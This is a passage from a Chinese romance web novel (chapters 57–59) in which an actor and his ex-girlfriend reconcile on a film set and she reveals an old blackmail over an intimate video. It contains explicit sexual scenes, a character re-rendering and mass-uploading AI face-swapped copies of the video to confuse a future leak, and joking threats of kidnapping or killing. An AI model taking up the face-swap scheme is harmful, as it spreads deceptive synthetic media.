凌湛把手机内扣,展现出小猫窝在他腿上的模样,道:“猫在这儿睡着的。” 然后飞快地晃回脸上。 合雨悠:“我看猫呢。你屏幕再下去点儿……” “这样?” 屏幕下移,是凌湛的喉结。 合雨悠轻声说:“你再下去一点呀……” “再下去就不单纯了。”凌湛声线更低。 “什么?”合雨悠还没理解,随着前置后置颠倒,镜头落在凌湛的凌湛松垮的灰色运动裤上,猫被凌湛单手挪了个位置,至于什么不单纯不言而喻,那太显眼了,合雨悠“啊”地一声一秒用手遮住了屏幕,想起来那个热搜:“凌湛!!你不知道裸//聊被截图了被人上传会让你陷入大麻烦吗?” 凌湛很是漫不经心:“你尽管截,记得给我放猛男区。”—— 作者有话说:[三花猫头]谢谢追文~都发红包[让我康康] 第57章 男女思维果然差异大,虽然单看某物确实应该放猛男区……说实话当年第一次凑近看她都有点犯“巨物恐惧”。如果当年向悦拿着U盘威胁的对象是凌湛,他恐怕只会说:“你只能放国产区了,哦,我们还说方言了,有川渝区吗。” 好在他俩很快就聊回正常的东西,凌湛问她漫画家为什么不去画漫画。 合雨悠答:“最近两年都画不出来,而且没社交,有点退化了,就出来工作了,加上我还有职业病,不能那么画下去了。” “什么职业病?” “腰啊,肩颈,眼睛也不好了……我马上还得做瑜伽,等下要滴眼药水。”可能凌湛不了解她的职业,但合雨悠那两年非常拼命,别人半个月画一话,她就压缩到一周甚至更短,就像她同样也不了解凌湛的难处,他在美国学最好的电影,无数被视作偶像的大师当他的老师,会有多难呢? 但凌湛确实有很难的一段时间。 由于凌飞和向悦妈妈出轨败露,向悦接受不了闹着要自杀,凌湛接到消息,告诉她:“那你去死吧,别烦我。” 她就真的去了。 可惜没死成功,又被医院救回来了。 凌湛彻底和父亲决裂,他的电影需要钱,找不到发行方和投资人,他还是个学生,他没有问贺峰要,他到处找投资,被人下药、打架、进警局、被保释…… 合雨悠那一百万是雪中送炭的。 然而凌湛的电影失败了,他进一步陷入更深的低谷,每天都在告诉自己:“我没有失败,这是成长,下一次就不会这样了。” 也是因为失败,数次想给合雨悠打电话而中止,他有一阵子开始觉得自己可能真的不如贺秋阳。没有人陪他振作,凌湛窝在房间里没日没夜地看电影和剧本,画分镜,看以前拍的东西,看他镜头下的合雨悠,在视频里她说过他拍的东西就是世界上最好的。 他多想这时候她还在他身边这样对他温柔地说。 “其实不是最好的,你看错了。”凌湛自言自语,在昏暗的房间里酗酒。 直到他的老师打电话,让他去试镜。 人生发生转折,又重新开始了。 剧组开机前一天,凌湛飞机落地,约合雨悠出来,给了她硬盘和新外套。 合雨悠都顾不得跟他说几句话,急匆匆拿着硬盘就回去了,他真不知道合雨悠是要做什么,想破脑袋也想不出来,自己在保姆车里拿着剧本生闷气。 合雨悠打开了电脑,连接硬盘,很快,被凌湛根据时间整理好名称的所有照片、视频,映入眼帘。 日期从八年前盛夏开始,密密麻麻,一路延伸到分手前的最后一天。 数量多到让人发怵。 她点开第一张。 是她穿着白T恤戴着耳机蹲在老家院墙根下的田梗边漱口,一只手端着杯子,侧脸白而清秀,胡乱扎着马尾。 可照片里的她……好好看。 她甚至不知道自己有过这么漂亮的时期。合雨悠看得愣住了。 有些照片是她曾经见过的,有些则没有,凌湛几乎把她的所有照片都拍的非常漂亮,漂亮得惊人,每一个瞬间,原来自己在那种琐碎动作里,会被拍得像画报。 她一一浏览过去,当然有些照片,确实不方便露出去,譬如她穿很少坐在沙发上喝橘子汽水,艺术感确实也有,漂亮也是漂亮的……也有少量的双人自拍,凌湛使用了三脚架抓拍,他们会拥抱在一起,会亲吻彼此,会笑,对着镜子他从身后拥抱她,能看见她不穿鞋确实没有一米六,身材纤细又凹凸有致,他弯腰才能把下巴搁在她的发顶,而她全身紧绷甚至不敢直视镜头,浑身像根柔软的弦那样害羞地被拨动。 合雨悠对着这些记录愣了好久。 她一晚上没睡觉。 她挨个检查,几乎每一张都承载着一段不平凡的回忆,至于视频记录,也非常繁琐,合雨悠很快找到那一篇大概是让向悦发疯的视频。 镜头是放在床头柜的,合雨悠马上截图,把人物P掉后让AI做出完整的场景。 她看完整个视频。 大概只有十来分钟的画面,也只是接吻而已,吻得可能有点过头和忘情。 至于后面音频,那才是真的没法听。 疑似有合雨悠趴他身上的吮吸动静,和凌湛说话的声音,说她好乖,好漂亮。 疑似有凌湛给她弄的水声、 合雨悠听一下马上耳朵红透,整个人脚趾都抠紧了,立刻快进拉完,确保后面全程黑屏。 要是传出去真的会完蛋。 她渲染了几个小时AI视频,但还没结束,第二天一早要开机,合雨悠没精打采地起来。 今天要拍全组大合照,她也得去,要接受香火和仪式,前阵子剧组来了个神叨叨的大师,问主创要什么贴身衣物来作法,今天就是他开坛作法。 这事儿和合雨悠当然没关系,是凌湛告诉她的。 凌湛觉得老头有毛病,叶铭说给一条得了,就买了一条全新的CK送过去。 上午八点,整个剧组在租界街景前集合开机。 香案摆好,三牲、香炉、红布全部齐全,工作人员围成一圈,拍照的、举机位的、拿场记板的,忙得像开市。 凌湛刚做完妆发,侧分的短发被发蜡压得利落,额前有一缕自然下垂,军阀的造型让他整个人显得英俊冷漠,笑起来桃花眼又十分多情,所有人都说他就是从剧本里走出来的角色。他上身套着剧组统一的黑色羽绒服,里面才是陆钧那身深军绿色的军官制服。 他站在人群最前,燃香、鞠躬、合影,所有流程都按部就班。 抬眼的时候,凌湛余光不经意扫向右后方。合雨悠站在人群边缘,整个人像没睡够二十天一样,眼圈淡青,发尾乱了一点,她下巴一点一点地往前点,像米粒随时要掉。 凌湛忍住了过去找她,让叶铭去:“你带合雨悠去我保姆车上休息。” 叶铭:“大哥!!剧组这么多人呢?我带她过去你要索她命吗。你不知道今天开机附近很多代拍?” 他:“你想个办法,把保姆车开到没人能拍的地方。” 确实有地方能避开。 叶铭一拍大腿,一边喊:“哎我这儿有个演员物料谁帮我改改……”他走到合雨悠面前,“你是美术组的吧,过来帮我改个图……” 合雨悠穿着厚实的羽绒服,因为戴着帽子整个人像个发呆的企鹅,又没什么精神,被拖上车也没有危机意识。 “那是他床,凌湛说你可以躺,你昨晚熬夜干什么呢,没睡觉吧?”叶铭指了指,又看向她。 “没睡,困。”合雨悠没有去坐床,只坐在卡座上,趴在那桌上了。 叶铭道:“这美术组的活呢,开机后就不多了,需要的人也不多,美指和统筹在呢,你完全可以撤了。” 合雨悠顶着熊猫眼:“我拿工资呢,还要还房贷,我撤什么撤,我死都不撤。” 叶铭:“没那么惨吧你?你漫画挺火的呀,我看你还有一百万粉丝……” 合雨悠:“有五十万是买的。” “没关系大家都买……”叶铭说,“你要睡吗?不睡的话我正好要跟你谈谈,我让公司的人给你做了评估,你有一定的商业价值,你的作品约在哪?” “平台啊。”合雨悠闭着眼睛回答。 叶铭:“只签你作品了,没签人吧?” “没……”已然昏昏欲睡。 叶铭:“那我就给你办签售,全国签售,让你翻红。能解约吗?我找人给你打官司。” 合雨悠:“哦……” 叶铭弯下腰,侧头看她:“姑娘,真睡着了啊?” 合雨悠睫毛很长,一层影子轻轻盖在脸颊上,鼻尖小巧,睡着时呼吸微微动着。黑发在黑色羽绒帽里披下来,有几缕压在脸侧,被她刚才无意识地蹭乱,像猫睡醒后翘起的一撮绒毛。 叶铭就没说话了。凌湛这前任确实长得不错,虽然他暂时没发现她魅魔的地方在哪,不可能只是因为长得乖和有情有义吧?他做艺人约已经是屈尊了,更别说做漫画家合约了,叶铭不是瞎折腾,也不是看上了她赚钱潜力,撑死也赚不到两千万。 但如果两个人在同一个体系、同一个公司,对他来说比较可控。 因为凌湛在谈恋爱的时候完全不可控,叶铭不能想象他会做什么事。 或许也可以利用合雨悠激发凌湛那微薄的事业心……虽然他不是没事业心,但完全点错了地方。 凌湛这会儿比较忙,但还是抽空回了趟保姆车,看她趴着睡,他看向叶铭。 叶铭:“她自个儿要睡这儿的。” “她腰不好,怎么能这样睡。”凌湛就把她抱床上去了,叶铭眼皮一抽,他看见了什么?他看见凌湛蹲身给女生脱鞋了,捧着别人脚干什么,要舔啊? 要是他不在,他真的会怀疑。 合雨悠穿着小花边的可爱袜子,凌湛没给她脱,轻轻地给她放毯子里了。 凌湛弯腰给她盖好被子,合雨悠也真是因为通宵了,根本醒不过来。 凌湛就伸手拨弄她的小手。 没做美甲的指头圆润可爱,泛着淡淡的粉色。 叶铭眼皮继续抽抽:“我真有点害怕你俩在剧组谈恋爱,别这样,太招摇了,我准备先帮她解约,带她去做签售,炒炒她的作品,本来也画得不错,原始粉丝就很多。现在AI技术发达,我找个团队帮她几个月把动画做出来再投放。你觉得怎么样?” 凌湛没看他:“你得问她。” 叶铭:“一个公司,一起活动也很正常,对吧?私下聚餐什么的公开带着,无所谓的。我也可以说我准备带她进圈,她长得也合格,没人怀疑,但就不给她资源,她也不会出现在人前,你俩进一个保姆车也可以合理了。” 合雨悠睡了四个小时,凌湛正在走戏,《雾城》是绝对的大男主戏,前期排的戏份多到他没什么时间休息。 她醒来的时候车上甚至没人,合雨悠当时就害怕极了,也不敢下车,躲在床上思考自己是怎么上车的,怎么变成现在这样的。 好在没人找她,美指和统筹估计都在忙,她书包在旁边,电脑随时掏出来,又开始渲染她的AI视频。 这是个技术活,要做得完美无瑕没有错漏,一天两天的搞不定。 而刚开机的前几天,合雨悠的工作也繁多,她前后花了十天,终于做好了第一个AI渲染视频,配乐后上传到各大平台。 场景一模一样,是炉霍的酒店房间,干净泛黄的墙面,和洁白的床单,但人脸完全不一样,虽然因为视频里人物的接吻时间过长被一些平台判定低俗而下架了。 但合雨悠锲而不舍,上传了切片,还花钱曝光,继续渲染新的,上传新的。 而凌湛因为拍戏太忙,每天和她也就只能说那么几句话,晚上聊电话,他听见合雨悠昏昏欲睡,都舍不得继续霸占她的时间了。 同一时间,叶铭在帮合雨悠解约,平台问他索要了三百万解约费,属实有点狮子大开口。 他问了一下凌湛:“我调查过了,合雨悠的作品被平台拖垮了,他们占着版权不拉屎,态度奇差又赶客。她可能也没办法,这两年又没画东西,热度也没了,所以平台肯放人,把她作品都收回来,三百万其实有点超出价值了。” 凌湛没犹豫:“我给。” 叶铭就说:“你想清楚了,你眼下也不是花不完的钱的状态。虽然上部戏你拿了票房分红,现在很有钱,但也不是特别有。” 凌湛神色没有明显变化,一边看剧本:“等下我就打给你。” 叶铭又压低声音:“你自己的导演项目还得自投。凌湛,我知道你不爱拍商业片,可你不拍商业片、不拍时装广告、不接代言……你用什么填这个窟窿?” 凌湛伸手:“给我两个代言吧,我签。” 十二月进入尾声,合雨悠在自己都不清楚的情况下,就莫名其妙和原漫画公司解约了。 她不知道给了多少钱,费了多大工夫,叶铭说:“我找了红圈所律师给你办的,反正解约了,没花几个钱,你别操心了。我现在签你,你就得为我干活,剧组里你闲着也是闲着,不用跟组了,我给你投流,看看反响,明年开始你有灵感就画,没灵感就吃老本,我找个人带你去签售,长这么漂亮天天宅家里画画算什么?” 合雨悠就说:“我不是……很想签售,我可能有点社恐。” 叶铭:“你哪里社恐了?” 合雨悠:“用笔名的时候有一点吧,”她支支吾吾,“况且现在剧组不是说春节前这边就杀青么,春节放假,节后换长白山拍剩下的部分,我合同都签了,我也不好跑,要不等我干完这个活?” 叶铭就觉得这俩口子性格都挺怪的,钱啊!!都不赚吗?这么有契约精神?难怪现在穷成这样。 但合雨悠好像很快就想清楚了,当天就打电话询问他:“叶总,签售对我的事业有帮助吗?有的话,那我就……去吧。” 叶铭很肯定地告诉她:“有帮助。” 合雨悠的脸是上镜的。 他们有全套的造型团队,完全可以走女团那一套。 合雨悠答应了,但还是坚持要把剧组的合约走完。 过了一月,片场改枪换炮,频繁出外景和夜景,合雨悠跟组时期大部分时候确实处于闲暇状态,她开始构思要画什么,可构思出来的都不太妙,不过在剧组她几乎可以一天二十四小时,有十几个小时都看见凌湛,他动作戏繁多,又不用替身,合雨悠看见他摔了会立刻紧张地起身。 所有人都冲过去了,她才敢过去。 凌湛起来说不碍事,然后继续拍摄。导演都跟人夸,说他不像这个年纪的演员,肯吃苦。 合雨悠怕耽误他拍戏状态,一直没敢跟他解释当年的事儿,两个人默认以一种近似复合的态度在网上聊天。拍戏的三个月,合雨悠只去酒店找了他一共三次,也都只是同床共枕和看电影,电影都看不了多少,因为凌湛要看剧本,。 至于第四次,是除夕前三天,二月十四号,情人节,凌湛的戏份杀青了。 凌湛消失了一个下午,他去扫墓了。 合雨悠收拾好自己的行李箱,独自离开了剧组酒店,正要去高铁站,一辆白色的房车停在她面前,房门一开露出叶铭的脸:“盒子,去高铁站?” 合雨悠点头。 “上来。” 叶铭帮她提行李箱,问她发车时间,合雨悠说:“时间不多了,但我可以改签!” 因为她离开之前还没见到凌湛。 “凌湛等下过来,我八点半也要赶飞机,我长话短说,你在春节后不用跟组到长白山,你来上海接受艺人培训。” 合雨悠:“?!” 合雨悠:“我不是个小画家吗?我不当明星。” “我没想让你当明星,只是要包装你,你总得接受一点培训,才能出去见人吧?” 合雨悠:“我哪里不能见人?除了有点黑眼圈也挺上镜的吧。” 凌湛给她拍的照片给了她前所未有的自信。 要知道她这几年都是畏惧相机的,几乎没拍过照。 “但你现在上台会紧张,会不知所措,会被灯光吓住,会不会接梗。你一旦说错话、卡壳、脸僵,现场粉丝拍个片子发出去,你就完了。培训不是教你当明星,是教你怎么别砸了你自己的场子,明星也靠包装,好多素颜还不如你呢。”叶铭说。 叶铭不愧是金牌经纪人,合雨悠很快被他说服了,六点,叶铭就去赶飞机了,凌湛从墓园出来,上车,怀里抱一捧黄玫瑰,摘口罩,露出干净的五官:“悠悠,急着回家吗?跟我过情人节去?” 花是下午扫墓前和菊花一起买的。凌湛跟妈妈说,他和女朋友和好了,他很喜欢她所以下次再带她来见她。 合雨悠觉得改签费十几块也无所谓,所以下意识说了好啊。 然后又忽地明了,今时不同往日。 “我们去哪儿过,大家都认识你的脸了。”合雨悠坐在车上的卡座,凌湛不客气地挤过来和她紧紧挨着:“出去散散步,吃点好吃的,然后上床。”说话时眼睛亮亮的,合雨悠好像又看见了十八岁的凌湛,多么浓烈的少年感。 “拍戏的时候我陆军官上身,经常想对你性/-暴力,现在好了,不会那样了。”凌湛杀青后人也正常了,前阵子都不敢碰她,忍得可辛苦了,纯盖着棉被聊天,有点什么想法也是会让她受伤的。所以凌湛才不想当演员,他导演出身,领悟力强入戏又快,很容易因为体验派而被人物左右思想和情绪,角色暴戾,他就暴戾。 合雨悠想了想。 看看他:“要不……我们省略前两个步骤?” 凌湛闻言“嗯?”了一声,眼眸微眯,捏她下巴:“你不纯洁。” 合雨悠:“……不是你先开始的吗?” 她觉得出门散步很危险。 吃好吃的更危险。凌湛那身段戴着帽子口罩那不也照样显眼,吃饭还要摘口罩,分分钟不被认出来。合雨悠其实也没有很想……好吧,她有点想,她压力也很大的,剧组琐事超级多,得随叫随到。加上禁欲好几年了,对男的提不上心,看小电影都只能看不露脸的亚裔,身材像凌湛的好一点的,不能柴也不能肌肉男,还好世界上有日本这个国家,拍出了她爱看的女性向电影。 凌湛把司机打发离开了。 保姆车停靠后熄火。 凌湛找了一盒套出来。 合雨悠问他什么时候买的。 “好早。”没空用。 合雨悠看了一眼:“好早是多久啊……过期了?”为了她买的还是为了…… 合雨悠没忍,直接问了:“你不会是之前和别人……” 凌湛一秒捏住她的嘴:“你揣测我?” 合雨悠摇摇头:“我也不是揣测你,我去年看见一个网红,就你们学校校花……你记得吗。” 凌湛“哦”了一声:“新闻我记得,人我不认识,她纯炒作。我和她半毛钱关系没有。懂了吗?”他目光定定注视着合雨悠。 有的网红就是这样,热度少了就想黑红,这种料即便是正主出来辟谣了还是有人会信,网红不过是想吃他的流量而已,他辟谣,她直播越说没有,越引人遐想。凌湛说:“我经纪人已经发律师函给她了,要还是很在意,我跟你公开。” 合雨悠:“不要!!!”她顿了顿,“我相信你的。” “套是给你买的。”凌湛以为合雨悠知道她是自己初恋,丝毫没意识到当年他认为这事儿不好提于是没说,“你刚进组来找我,我那天买的。” 合雨悠还没说他呢。 凌湛又侧头凑近,低声道:“还是你想无套?会怀宝宝的。” 合雨悠脸腾地一红,说不要不要,车上卡座非常地紧窄,凌湛坐她旁边的时候,空气都是稀薄的。合雨悠只能后背紧紧靠着拉着窗帘的车窗,瞄了一眼自己刚刚买的炒板栗,她要不要现在吃……不吃会冷吧。 “我最近有为了角色增肌,”所以他的身材从原来的薄肌进化了一点,肩膀变得更宽,背肌更加紧实,凌湛说完,从桌下找到她的手,“给你摸下,战绩可查。” 他看着合雨悠脸变得更红了也更羞涩了,单手慢慢撩起自己衣服下摆,另一只手牵着她柔软无骨的手在自己腹肌上磨着打圈:“喜欢吗?”—— 作者有话说:凌湛:我媚女朋友[求你了] [三花猫头]谢谢追文!!感谢大家~评论都发红包啦~ 第58章 合雨悠眼睛有点晕。 凌湛光是握着她手这样摩挲,合雨悠脸上的热就已经藏不住了,她本来在这方面经验就少,况且这几年根本不近男色,清心寡欲像个尼姑似的。 凌湛这么拉着她打圈似得绕,合雨悠就感觉有电流顺着指尖窜过来,被困在车上卡座的一角,缩都没地方缩。 “你干嘛闭眼睛,搞得好像强迫你一样,你不喜欢?”凌湛也浑身紧绷着,这动作当然对他也不友好啦,腹肌画圈圈什么的,好在她手在他手里,可以由他来控制。 合雨悠就眼睛眯着缝悄悄看了眼。 依稀感觉比少年时代的身材要更好,肌肉线条更加蓬勃,穿着水洗牛仔裤,起立的状态也昂扬而明显,感觉拉链一开就得弹她脸上了。 “看哪儿呢你。”凌湛凑近过去,合雨悠微微仰头,近距离对上他一双上挑的带浅显笑意的黑眸:“没看你那里。” 凌湛眯眼:“我没说你看我那里。人之常情。” 合雨悠:“哈哈……” 凌湛:“别笑,我抱你去床上。”他双手抄起合雨悠腋下就把她抱起来,跟抱个娃似得,一手还托着她屁/股,合雨悠:“啊啊别这样抱啊!!” 凌湛侧头,嘴唇抵着她脸颊:“那你想怎么抱?公主抱?我知道你是公主。” 但这车上也施展不开。 抱着抵在墙上也不行。 保姆车的床大小和高度都很有限,凌湛一开始没想在车上的,可他毕竟不是什么自由人,不是透明人,被拍到的概率太大了,如果他导的戏也可以卖出高票房或是冲奖成功就好了,再也不会有这样那样的限制。 合雨悠拍拍他肩膀说:“算了算了……你快放我下来呀。” 凌湛就把她放在了车上那张小床上,合雨悠的穿衣风格偏休闲,她审美一向不错,但穿着以舒适和增高为主,爱穿高腰裤,黑色铅笔裤加十厘米马丁靴,稍微短一点的上衣,这样才能露出高腰来,这样才能显得腿长,这样才能让她看起来不至于是一米五八的小矮子。 她常年穿增高鞋,导致她身边所有人都以为她有一六五甚至一六八。 “合雨悠,你这鞋真难脱,”凌湛蹲身给她解鞋带,合雨悠立刻不好意思地起身:“我自己来……”她没想过凌湛给她这样,但一想其实以前恋爱的时候,凌湛也蹲下来给她穿过新鞋。 “干嘛,怕我把你增高鞋垫掏出来吗?”凌湛继续拽鞋带。 合雨悠两只手乱抓:“不是那样开的!!有侧拉链。” 他说看见了,很快给她脱下鞋,然后瞄一眼高度。 真的挺高。 “你走路不会摔跤?” “当然不会了……我走了这么多年有点小经验。”她感觉凌湛握着她的脚,赶紧把脚收上来:“袜子不要脱了,不用了。” 凌湛抬眼:“你现在喜欢穿着袜子做啊。” 合雨悠:“我脚冷啊!!”她那袜子就是带点印花和花边的中筒棉白袜,裤子又紧,凌湛拉开她裤链:“自己脱还是我给你脱?” “我……自己脱。”合雨悠穿这种裤子里面是不穿保暖的,白生生两条纤细的腿露出来,还穿着棉白袜,纤细的脚踝勾着,上衣还穿着一件短款的米白色羊绒毛衣,搭配了她自己手作的毛衣链。车上暖气很足,而她因为太害臊两腿紧紧闭着且曲起。 凌湛自己倒是完好无损,两手拉着她脚踝往下一拖。 合雨悠“呜”了一声。 凌湛单膝跪在床边,俯身亲她曲起来的膝盖,她立马敏感地一缩,手不知道搁哪儿,抓着身下真丝的床单。 凌湛低着头:“从你小腿往上亲。”他嘴唇轻轻地啄了一下。 合雨悠还是不怎么说话,她在这方面表现出来的一向含蓄,只有特别上头了,受到他引导,可能会说一些那种话。 凌湛一点点往上吻,这一瞬间,合雨悠几乎是感觉他还爱自己,他可能不是为了报复或者羞辱,他是喜欢的,可他为什么呢,她做了那么过分的事…… 合雨悠垂下眼看着凌湛,嘴唇张了张。其实是有话想说。 凌湛:“想喘?你忍着干嘛,没人听。只有我……”他嗓音低得温柔,吻到根处,合雨悠眉心轻轻拧,发出类似哭泣的鼻音。 凌湛拇指按着揉弄:“很爽吗?” 合雨悠不敢点头,从她躺着的角度看凌湛,睫毛深深垂下:“凌湛……” 她喊了一声。 凌湛动作特别和缓,问题却不那么和缓:“和贺秋阳分手后还谈过男朋友吗?” 合雨悠顿了顿,用甜软的嗓音小声说:“没有了。” 凌湛:“哦,没有了。”他觉得还能忍。 比他想象的好。 他其实可以想象合雨悠这种女生在大学会有多受欢迎,可能大学里男生是没他帅,他也知道合雨悠特别颜控特别看脸,要么看触手的,触手特别多或者是外星籍贯可以不看脸。 凌湛:“合雨悠,贺秋阳会这样对你吗?” 他埋首喝水。 合雨悠一边呜呜,腿乱蹬两下,一边摇头:“不会、不会……” 凌湛抽空说了句:“你要把我床彻底弄脏了。” 合雨悠侧着头闭眼,呼吸加快,她有点控制不住了,凌湛有些恶劣地用了牙齿,她疼了抽噎,他:“那你爱我吗?” 合雨悠背脊弓着,好像用尽全力似得,用气音说:“爱、爱的,我爱你。” 凌湛转而用鼻尖,湿漉漉地抬首,眼睛里夹杂着很细微的情感,约莫是恨的:“多爱我?是不是非我不可。” 恐怕是的。 合雨悠点点头。 凌湛换了姿势,双手欺压在她颈侧,埋首接近,脸上有些湿润,睫毛犹如黑鸦羽般垂落,道:“那为什么不要我?和我分手?贺秋阳哪里比我好?” 他当然是忘不掉的,但没质问她,至少这几个月都没有,他怕太暴躁了影响到工作,因为他有过情绪不稳的时期,现在可以很好的控制了,可有时候在她面前还是很难。 合雨悠眼神仿徨了一下,继而对上他目光。 “凌湛……” 她也有点怕说出来被他恨。 不说也恨,说也恨。 合雨悠抿唇,还是有些闪躲:“凌湛,他没有哪里比你好,我其实……我没有和贺秋阳谈恋爱。他是朋友。” 凌湛目光霎地僵了一秒,睫毛撩了起来,手捏住她下巴迫使她抬首:“你说什么,再说一遍。” 合雨悠想着说都说了,那干脆一口气说完,可能还有未知的风暴,他可能不理解她为什么这样,他会埋怨她恨她…… “向悦用我们的视频威胁我。那天……”她语气有点颠倒,“你去扫墓了,我把她推下楼梯,然后我们进了医院。” 在向悦的原话里,她的威胁是:“我不会放过你们两个!合雨悠我要让你当校园女神,当男生宿舍的谈资,你上大学没有人和你当朋友,大家都用有色眼镜看你,如果没有人在乎你,那凌湛呢,他以后还混吗,他还当导演吗?我有钱有资源,我要买报纸刊登,我要发到所有论坛,我让你们前途尽毁!” 凌湛果然不能理解,他表情一下变了,手还撑在她头侧,项链坠下来扫到她发丝上。他黑眸沉沉:“你一字一句,跟我解释清楚。你他妈跟我分手,就因为这个傻逼破事儿??” 又来了。 他们思维有差别。 合雨悠知道自己做了过分的事。 他们俩在过去几年,对待这份感情,恐怕谁都不好过。合雨悠揣测他恐怕早忘了自己,她还忘不掉,现在知道他好像没忘,她不知道他会不会报复自己,接近她爱她再甩掉她,有时候她会控制不住地冒出这个想法,结合他和贺秋阳的关系,他那么恨贺秋阳,合雨悠觉得这不是没可能发生的。 她有点呼吸不上来了,眼神痛楚,飞快地解释:“我如果不那样做,她如果……你知道的,那段视频,音频,视频或许还好,可音频……那是不能见人的东西,凌湛,我不知道会发生什么,我想你仍然爱电影,你那么想去美国,我不可能和你一起去的,而且那之前你爸爸给我打过一次电话,他让我放你离开。我想让你去,我想……想让你去的。我不能那么自私。” “还他妈有他的事儿??”凌湛更冒火了,盯着她片刻,她说对不起,她认真地说对不起……凌湛忽然翻身,躺在她身侧,双臂摊开,仰头望着车顶天花板,然后笑。 自嘲似的冷笑:“你不想和我分手的对吧。” 合雨悠沉默,说:“我不想,可是不得不。” “没有什么不得不,你就想那样。”他想说合雨悠也是自私的,她一厢情愿认为这样对他更好,可视频…… 兴许那的确会伤害到她。 他安静地呼吸,好像在思考。 “我去把向悦的氧气管拔了。”他想不过去。 合雨悠:“??” “不是……再恨她我俩也不能杀人啊。”合雨悠反应过来了,爬起来拍拍他的脸,“凌湛,你清醒点。” “你把她推下楼梯,她脑袋都缝针了,你不想让她去死?”凌湛偏过头睁眼,“妈的,老子硬完又被你气软了。” 她眼圈都红了:“……对不起,我知道我那么做不对。” “我没怪你。”他怪,当然怪,但知道合雨悠这几年恐怕也难过,他也得让让她,他是有脾气,可不能对她撒气。 凌湛撩起眼皮,抬手放在她眼睛底下:“好了,又哭,我说重话了吗?” 合雨悠睁大眼睛默默流眼泪。 她又控制不住了。 好像石头落下了,心脏也被攥住了。 她可能是日夜颠倒的时候太多了,其实情绪不如十几岁时快乐,容易胡思乱想和忧郁。 “你不怪我吗,不恨我吗,我知道那样错了……” “那你怎么不早点告诉我,我问你,你是觉得你男朋友没本事解决不了这事儿?” 合雨悠:“可是她看起来很疯,你激怒她怎么办?” “自杀她都不敢,她疯什么。”凌湛平静地说,“我找人绑她我,她能发哪儿去。死地下室也没人知道。” 合雨悠忍了忍,扁着嘴又哭,又说:“你真的演军阀入戏太深了,我们是守法公民。” “气得我……” 凌湛一把拉下她脖颈:“要哭多久?你使劲哭,我也想哭了。” 合雨悠埋在他胸口,嗓音上气不接下气:“那你哭吧,我们一起……” 凌湛当然不哭,他很难受,烦躁的,不想怪她,她有什么错呢,她也很害怕。 好半晌,凌湛低下头,嘴唇落她发旋那块儿:“你真没和贺秋阳好过吧?” 合雨悠也忍不住抬头:“刚刚不是解释了吗……真没。” 凌湛:“我觉得他喜欢你。” 合雨悠:“可能有一点……”她那觉得男的多看她一眼就是喜欢她的毛病又犯了。 凌湛指节曲起生气地敲她脑门:“知道他喜欢你你还那样?没和他接吻过吧?” “当然没有!!!”她捂着脑袋。 她接吻经验少得可怜。 说起来好像也不可怜,对象是只有一个,也只发生在少年时期,但次数是挺多的……凌湛很喜欢吻她,吻完她还要问一些非常让她难以回答的话题,什么上面嘴下面嘴,接吻喜欢哪里,让她一定要说出一个部位,然后惩罚似得亲吻其他地方:“这里不喜欢吗?” “悠悠身上好甜,好香。” “是不是怀孕了才有水?” “我吃吃看。” 诸如此类的。 凌湛给她揉脑袋:“疼啊?别装了我没用劲。” “我没装,我只是……我想和你说,但不知道怎么说,向悦出车祸上新闻了,我听说她成了植物人,那天我才敢突然联系你,我又怕她那个弟弟,他也不是省油的,他万一报复你,他知道U盘的存在。我联系你,都怕你忘记我了,可是我控制不住……我就想你。”她鼻子抽气,伤心地说。 “我怎么忘了你?”凌湛还是那样看着她,叹口气,“被你甩,我怎么忘?” 合雨悠露出难看的表情,手臂用力抱紧他的腰,声音带哭腔:“那你意思还是恨我了,你要是,报复我,我随便你怎么样……” “没有。”他不知道可能有点,确切地说,肯定是有的,但是他说没有。 “但我还是要对你怎么样的。”凌湛咬了下她耳朵,说了三个字。 两个人对视着,合雨悠先难过地别开眼。 “你没和他好过就行。”凌湛把她抱怀里,手指摸摸她额头和鼻尖,注视她片刻道,“知道你最爱我就行。” 他其实还没完。 这事儿还是太荒谬了,凌湛还没缓过来。但他知道不能凶合雨悠,还得哄,不然她哭。 他要慢慢从合雨悠身上讨回来—— 作者有话说:[三花猫头]谢谢追文,都发红包[眼镜] 第59章 和大明星谈恋爱的心酸只有合雨悠知道。 那天晚上他们开车到一个非常僻远的区域,僻远到任何一个有公德心的想安静自杀的人都怕自己死后百年才被发现的山头。车载音响里用很低的音量播放着曾经合雨悠的歌单,合雨悠才发现他连自己喜欢听什么都记得,全记得。他们打开房车的后车顶罩看星星。 星星不多,散布在墨色夜空。 合雨悠平躺仰着头道:“没有那年我们在炉霍看见的星空漂亮,我记得依稀可以看见银河,不知道是不是记忆美化了,我永远都记得那一刻。” 凌湛也平躺着,单手搁在脑后,单手伸过去扣着合雨悠的小手,偏头道:“我那天拍了照,你要看吗?” “真的啊?”合雨悠侧过身起来,黑发柔软披散在肩膀,“你拷给我的照片里怎么没有?” “拍银河和拍人像用的镜头不一样,要是风景照都全给你,一个硬盘也不够。”凌湛只是单独把有合雨悠的部分整理成了一个文件夹。他在网盘里翻了许久,然后翻到了那晚上在炉霍的夜空,他用延迟摄影拍了一整夜的星轨,银河比肉眼可见的还明显得多,瞬间将人拉回那一秒钟。 他们那次在七月遭遇泥石流,合雨悠因为高反凌晨五点从色达下高原,凌湛零点从成都出发去接她,结果泥石流封路,将两人隔绝了一天一夜,合雨悠以为他出事,她记不起来当时有多绝望了。 她想知道凌湛这些年是怎么过的,所以一点一点开始问他,凌湛避重就轻:“就那样,刚到的时候人生地不熟,但过了一周就习惯了,我一个人住一间2b,一间睡觉,一间用来剪片子。”他那崇高的艺术追求在学校同学和老师的影响下愈发浓烈了,哪怕现在他回头去看,那些说他电影“挺牛的但看不懂”的观众都是没有艺术细胞的。 凌湛没有跟她说难过的时候,没钱的时候,不风光的时候,他说通货膨胀;说电影节碰见的疯子;欣赏他的某某某鼎鼎有名大导演;持枪抢劫711的傻叉;跟踪狂跑到他家里裸//睡用光了他很喜欢的香水;大雪封路了在车里睡了一觉差点失温死掉,起床的时候和一只棕熊隔着车玻璃对视,大雪压着松枝,像做梦一样;有天晚上看完足球、喝完酒很想你,凌湛顿了一下,睫毛慢慢撩起,对上合雨悠的琥珀瞳。 可能每天都在想吧,或多或少存在于他的潜意识里。 最落魄的时候还是很恨她,想把她抢回来教育她,直到发现给他电影投资一百万的匿名英雄居然是合雨悠。 然后合雨悠听完,翻身过来骑在他腰上,腿上没几两肉,轻飘飘的坐着,低头时头发散落地洒在他的肩膀和脖颈,凌湛伸手捋开落在他脸上的黑发,腹部肌肉紧绷着,一动不动地和她对视着:“那你呢,你是每天在想吗?” 